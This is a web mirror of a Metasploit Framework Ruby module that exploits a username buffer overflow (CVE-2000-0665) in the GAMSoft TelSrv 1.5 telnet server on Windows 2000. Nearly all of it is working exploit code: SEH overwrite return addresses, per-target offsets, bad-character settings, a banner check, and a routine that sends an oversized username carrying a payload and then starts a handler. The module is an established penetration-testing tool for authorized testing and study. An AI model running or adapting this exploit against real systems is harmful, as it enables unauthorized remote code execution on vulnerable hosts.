CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
include Msf::Exploit::Remote::Tcp
9
include Msf::Exploit::Remote::Seh
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'GAMSoft TelSrv 1.5 Username Buffer Overflow',
14
'Description' => %q{
15
This module exploits a username sprintf stack buffer overflow in GAMSoft TelSrv 1.5.
16
Other versions may also be affected. The service terminates after exploitation,
17
so you only get one chance!
18
},
19
'Author' => [ 'aushack' ],
20
'Arch' => [ ARCH_X86 ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'CVE', '2000-0665'],
25
[ 'OSVDB', '373'],
26
[ 'BID', '1478'],
27
[ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'],
28
],
29
'Privileged' => false,
30
'DefaultOptions' =>
31
{
32
'EXITFUNC' => 'thread',
33
},
34
'Payload' =>
35
{
36
'Space' => 1000,
37
'BadChars' => "\x00\x0a",
38
'StackAdjustment' => -3500,
39
},
40
'Platform' => ['win'],
41
'Targets' =>
42
[
43
[ 'Windows 2000 Pro SP0/4 English REMOTE',
44
{
45
'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
46
'Offset' => 1886,
47
}
48
],
49
50
[ 'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)',
51
{
52
'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
53
'Offset' => 3318,
54
}
55
],
56
57
[ 'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)',
58
{
59
'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
60
'Offset' => 3358,
61
}
62
],
63
=begin
64
[ 'Windows XP Pro SP0/1 English',
65
{
66
'Ret' => 0x71aa32ad, # pop/pop/ret xp pro en ALL
67
'Offset' => 2600, # this is made up and absolutely wrong ;-)
68
}
69
],
70
=end
71
],
72
'DisclosureDate' => '2000-07-17',
73
'DefaultTarget' => 0))
74
75
register_options(
76
[
77
Opt::RPORT(23),
78
])
79
end
80
81
def check
82
connect
83
print_status("Attempting to determine if target is possibly vulnerable...")
84
select(nil,nil,nil,7)
85
banner = sock.get_once || ''
86
vprint_status("Banner: #{banner}")
87
88
if banner.to_s =~ /TelSrv 1\.5/
89
return Exploit::CheckCode::Appears
90
end
91
return Exploit::CheckCode::Safe
92
end
93
94
def exploit
95
print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")
96
connect
97
print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep.
98
select(nil,nil,nil,7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not.
99
100
username = rand_text_english(20000, payload_badchars)
101
seh = generate_seh_payload(target.ret)
102
username[target['Offset'], seh.length] = seh
103
104
print_status("Sending #{ username.length} byte username as exploit (including #{seh.length} byte payload)...")
105
sock.put(username)
106
select(nil,nil,nil,0.25)
107
print_status('Exploit sent...')
108
handler
109
disconnect
110
end
111
end
112
113